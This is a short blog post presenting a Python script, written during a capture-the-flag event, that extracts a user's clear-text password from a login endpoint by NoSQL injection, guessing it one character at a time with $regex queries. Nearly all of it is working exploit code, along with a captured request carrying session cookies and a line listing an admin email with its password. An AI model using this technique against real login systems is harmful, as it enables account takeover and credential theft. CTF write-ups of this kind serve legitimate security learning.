noSQL Injection Snippet

May 11, 2020 // echel0n

I wrote this snippet while playing at AKINCILAR CTF.

It is a little demonstration how to get clear-text password of a known user.


  1. #!/usr/bin/env python
  2. import requests
  3. import string
  4. """
  5. POST /login HTTP/1.1
  6. Host: mshcsvl1y3k4eia4n3o1hk0l41h.com:2053
  7. User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0
  8. Referer: https://mshcsvl1y3k4eia4n3o1hk0l41h.com:2053/login.html
  9. Cookie: __cfduid=d4d6ac2753086f764e2ae85cdadb05f2f1587263049; PHPSESSID=3459c4d41ff809667a1b7a043547470a; token=12dea96fec20593566ab75692c9949596833adc9
  10. {"email":{ "$ne": "1"},"password":{"$regex": ""}}
  11. """
  12. """
  13. >Bilgileriniz => E-Posta:
  14. admin@cyber-warrior.org => Sifre: cNLP2HMgIPveZivqPcWS0ioKu0jjqwa3,
  15. admin@cyber-warrior.org,
  16. {{7*7}}@gmail.com,
  17. info@support.asdsa,
  18. infox@support.asds
  19. """
  20. def post_that_shit(last):
  21. URL = "https://mshcsvl1y3k4eia4n3o1hk0l41h.com:2053/login"
  22. headers = {'Content-type': 'application/json', 'Accept': 'text/plain'}
  23. COOKIES = {}
  24. USERNAME = "{{7*7}}@gmail.com"
  25. pre_req = requests.get(URL + ".html")
  26. COOKIES = pre_req.cookies
  27. alph = string.ascii_lowercase + string.ascii_uppercase + string.digits
  28. temp_string = ""
  29. payload = ""
  30. ERR_STR = "Hatas"
  31. print("Hi!")
  32. if last is not None:
  33. payload = last
  34. for stonk in alph:
  35. post_data = {"email": USERNAME ,"password":{"$regex": "^" + payload + stonk}}
  36. print("Trying ma best. -> " + payload + stonk)
  37. req = requests.post(URL,cookies=COOKIES, json=post_data, headers=headers)
  38. if ERR_STR not in req.text:
  39. if last is None:
  40. last = ""
  41. print("Last Payload is --> " + last + stonk)
  42. return payload + stonk
  43. return last
  44. if __name__ == "__main__":
  45. a = None
  46. resp = None
  47. while True:
  48. resp = post_that_shit(a)
  49. if resp == a:
  50. print("Finished --> here is your passwd == " + resp)
  51. break
  52. a = resp